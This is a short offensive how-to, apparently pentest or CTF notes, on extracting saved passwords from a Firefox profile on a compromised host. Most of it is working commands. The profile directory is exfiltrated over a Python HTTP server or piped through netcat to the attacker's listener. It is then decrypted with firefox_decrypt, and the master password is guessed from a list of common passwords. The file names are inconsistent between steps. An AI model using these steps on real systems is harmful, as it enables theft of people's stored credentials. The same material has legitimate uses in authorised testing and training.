Extract Passwords from Firefox Profile

1. Transfer the .firefox Directory

Zip

First, zip .firefox directory in target machine, and open web server to transfer the zip file to local machine.
```
zip -r /tmp/firefox.zip .firefox
cd /tmp
python3 -m http.server 8000
```
In local machine, download the zip file from the remote machine, and decompress it.
```
wget http://<target-ip>:8000/mozilla.zip
unzip mozilla.zip
```
Tar

If we cannot use zip, tar also can be used.
In local machine, start listener for getting the archived directory.
"out.tar" will be created when the remote machine will send the compressed directory.
```
nc -lvnp 1234 > out.tar
```
In remote machine, compress the directory and transfer over netcat.
```
tar -cf - mozilla/ | nc <local-ip> 1234
```
Then, decompress it in local.
```
tar -xf mozilla.tar
```

2. Decrypt the Password

To crack the profile of Firefox, use firefox_decrypt.

python3 firefox_decrypt.py .mozilla/firefox/<id>.default-release

If we’ll be asked the master password and we don’t know it, try common passwords.

admin
password
password1
password123
root
